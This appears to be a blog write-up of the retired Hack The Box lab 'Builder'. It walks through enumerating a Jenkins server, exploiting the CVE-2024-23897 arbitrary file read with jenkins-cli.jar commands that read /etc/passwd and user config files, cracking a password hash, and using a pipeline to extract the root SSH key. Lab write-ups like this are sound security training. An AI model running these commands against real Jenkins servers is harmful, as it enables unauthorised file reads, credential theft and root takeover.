Buider HTB Write-up

Building your way to get root

Pr3ach3r
System Weakness

--

HTB banner: The image shows a construction worker with crossed arms. Below it is written, “Builder”
Builder Banner

INTRODUCTION

Hello, everyone. Welcome back to my infosec journey. I’m excited to share this write-up because it’s my first medium-difficulty machine. This time, I tried the machine after retirement, so I used the guided mode and the official write-up to help me with the root. I’m sharing this because it’s okay to use guided mode and write-ups. It will accelerate your progress and you will have a better understanding about the vulnerabilities and misconfigurations.

Builder is a medium-difficulty Linux machine that features a Jenkins instance. The Jenkins instance is vulnerable to the CVE-2024-23897 vulnerability that allows unauthenticated users to read arbitrary files on the Jenkins controller file system. An attacker can extract the username and password hash of the Jenkins user jennifer. We'll use the credentials to log in to the remote Jenkins instance. Then, we'll exploit the encrypted SSH key to obtain root access on the host machine. Let's get started!

ENUMERATION

As always, we must enumerate with Nmap to find open ports.

Nmap command: nmap -Pn -sCV -oN nmap-builder 10.10.11.10

Nmap results:

PORT     STATE    SERVICE       VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
30/tcp filtered unknown
1187/tcp filtered alias
1417/tcp filtered timbuktu-srv1
8010/tcp filtered xmpp
8080/tcp open http Jetty 10.0.18
| http-robots.txt: 1 disallowed entry
|_/
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Jetty(10.0.18)
|_http-title: Dashboard [Jenkins]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We can confirm that there are two TCP open ports.

  1. 22 is running SSH.
  2. 8080 is running a Jenkins instance.

Let’s take a look at the website.

This image shows the main page of a Jenkins dashboard. It has not been logged yet
Jenkins dashboard

We see a Jenkins dashboard, but it’s not logged yet. We need to find the credentials for this. The page shows us an important piece of information: the version that is running. It’s a little thing, but in most cases, it can be very harmful and compromise the entire infrastructure of a company. Let’s understand why.

A little research on Google and we can get the information we need to move forward. Jenkins 2.441 is vulnerable to a CVE-2024-23897, an Arbitrary file read vulnerability through the CLI that can lead to RCE. Let's dive into how it works.

Jenkins has a built-in command line interface (CLI) to access Jenkins from a script or shell environment. Jenkins uses the args4j library to parse command arguments and options on the Jenkins controller when processing CLI commands. This command parser has a feature that replaces an @ character followed by a file path in an argument with the file’s contents (expandAtFiles). This feature is enabled by default and Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable it. This allows attackers to read arbitrary files on the Jenkins controller file system using the default character encoding of the Jenkins controller process.

The vulnerability is classified as critical, which is exactly what we need. This POC (proof of concept) uses jenkins-cli.jar to read arbitrary files.

Downloading the CLI

Download the CLI (command line interface) first. The official documentation says you can get it from our target machine. Use the command: wget 10.10.11.10:8080/jnlpJars/jenkins-cli.jar.

This image shows you how to download the Jenkins CLI using the command line utility wget
Downloading the jenkins-cli.jar

It takes time to understand how to use it, but I had the official write-up in hand, so I was able to get it right away. If you consult the official write-up, you will notice that it uses the ‘help’ command in the command line. However, testing other commands will get you more results with the ‘connect-node’ command. We can see an example below:

Command used: java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.10.11.10:8080' connect-node "@/etc/passwd"

Results:

The image demonstrates that the command returns the /etc/passwd file content
@/etc/passwd results

We can determine the home directory location by using “@/proc/self/environ” instead of “/etc/passwd.” Our target machine is using Docker to run Jenkins, and the home directory is located in /var/jenkins_home.

$ java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.10.11.10:8080' connect-node "@/proc/self/environ"

HOSTNAME=0f52c222a4cc<SNIP>HOME=/var/jenkins_home<SNIP>

We can now retrieve the user.txt flag using java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.10.11.10:8080' connect-node "@/var/jenkins_home/user.txt".

Jenkins has a different directory structure. To proceed, we must install Jenkins ourselves and take a look at how it works. To do this, see the official documentation.

EXPLOITATION

Once the installation is complete, we can move on to our findings. We already know that the home directory is /var/jenkins_home. Inside the home directory, there is another directory named users. There is one more directory with the name of our user, followed by a random number, and a file named users.xml. In the users.xml file, we can clearly see the name of our /user_random-number directory. Inside our directory is a file named config.xml, which contains our password hash.

Now we can retrieve the user and hash of our target. First, let’s take a look at the users.xml file to see the user directory that has the config file.

The image reveals the user directory name: it’s “Jennifer_12108429903186576833
“@/var/jenkins_home/users/users.xml” results

We know the directory name: jennifer_12108429903186576833. Let's read the config.xml file.

$ java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.10.11.10:8080' connect-node "@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml"
...
<SNIP>
<passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>: No such agent " <SNIP>
...

We can now use the John The Ripper program to decrypt Jennifer's hash.

The image shows the password “princess”. This is the result of John’s decryption
password “princess”

Jenkins credentials — jennifer : princess

Once we have the credentials, we can log into the Jenkins dashboard.

The image shows the Jenkins dashboard with a welcome message
Jenkins user ‘jennifer’ dashboard

PRIVILEGE ESCALATION

Upon examining the environment, we find that there is a user root with an SSH key stored on Jenkins.

The image shows the user root and a picture of a fingerprint alongside the user, confirming that it is an SSH key stored
root private key stored on Jenkins

We have an SSH agent plugin installed, so we can craft a pipeline and run commands using SSH.

The image reveals that there is an SSH agent plugin installed
SSH Agent Plugin

Let’s hack! Here’s what we need to do:

  1. Create a new Pipeline item.
  2. At the Pipeline script section, use this command to read the SSH key for the root user:
The image shows the Pipeline script needed to read the root SSH key
Pipeline script to get root id_rsa

3. Click Save and then Build Now. Look at the Console Output of the build. Grab the SSH key, save it to a file, and use SSH to connect to the host machine as the root user.

Console Output:

The image displays the SSH key output
SSH key

Gaining root access:

The image shows an SSH connection with id_rsa from the root user
Root access

Once you have root access, don’t forget to get the /root/root.txt file.

CONCLUSION

HTB banner: It’s the same as before, but this time it says “Builder has been Pwned.”
Pwned

This machine was so interesting! I learned so much about Jenkins, Pipeline, and downloading the environment to understand all the functionalities. I hope you enjoy this write-up! If you do, please consider leaving some claps by hitting the clapping button. You can also follow to not lose any future content.

Thank you for your reading! I see you soon!

--

--

Welcome to my infosec journey. I'll share my CTFs adventures, and I hope you enjoy.